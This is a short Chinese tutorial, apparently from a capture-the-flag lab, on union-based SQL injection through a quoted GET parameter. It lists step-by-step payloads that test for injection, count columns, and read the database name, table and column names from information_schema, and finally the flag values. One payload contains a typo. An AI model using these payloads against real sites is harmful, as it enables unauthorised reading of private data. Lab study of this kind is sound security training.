GET注入时,传入的参数有时不是不是纯数字,如:id='1' ,id = "1" ,或者 id=("1")等等,这时使用传统的get注入时,会发现查不出对应的数据来,因此,在传参时需要先对传入的参数进行闭合,添加SQL语句,在将原来的闭合注释。如:id = '1' order by 3 -- Mr
注:--表示注释
闭合注入方法:
页面的搜索框中id为传参值,可在id后直接输入:
1、判断页面是否存在注入 , id=1 ‘ and 1=1 -- Mr , 页面没有报错,即存在注入
2、判断字段数 ,id=1 ‘ order by 4 -- Mr ,显示错误,故有3个字段
3、找到对应的显错位,id =1 ' and 1=2 union select 1,2,3 -- Mr 显示2,3 故显错位为第二位和第三位
4、输出数据库名,id = 1 ‘ and 1=2 union select 1,database(),3 -- Mr
5、输出表名,
id = 1‘ and 1=2 union select 1,database(),table_name from information_schema.tables where table_schema = database() limit 0,1 -- Mr
6、输出字段名
字段一:
id = 1 ' union 1=2 union select 1,database(),column_name from information_schema.columns where table_schema = database() and table_name = 'error_flag' limit 0,1 -- Mr
字段二:
id = 1 ' and 1=2 union select 1,database(),column_name from information_schema.columns where table_schema = database() and table_name = 'error_flag' limit 1,1 -- Mr
7、输出flag
flag(一):
id = 1 ' and 1=2 union select 1,id,flag from error_flag limit 0,1 -- Mr
flag(二):
id = 1 ' and 1=2 union select 1,id,flag from error_flag limit 1,1 -- Mr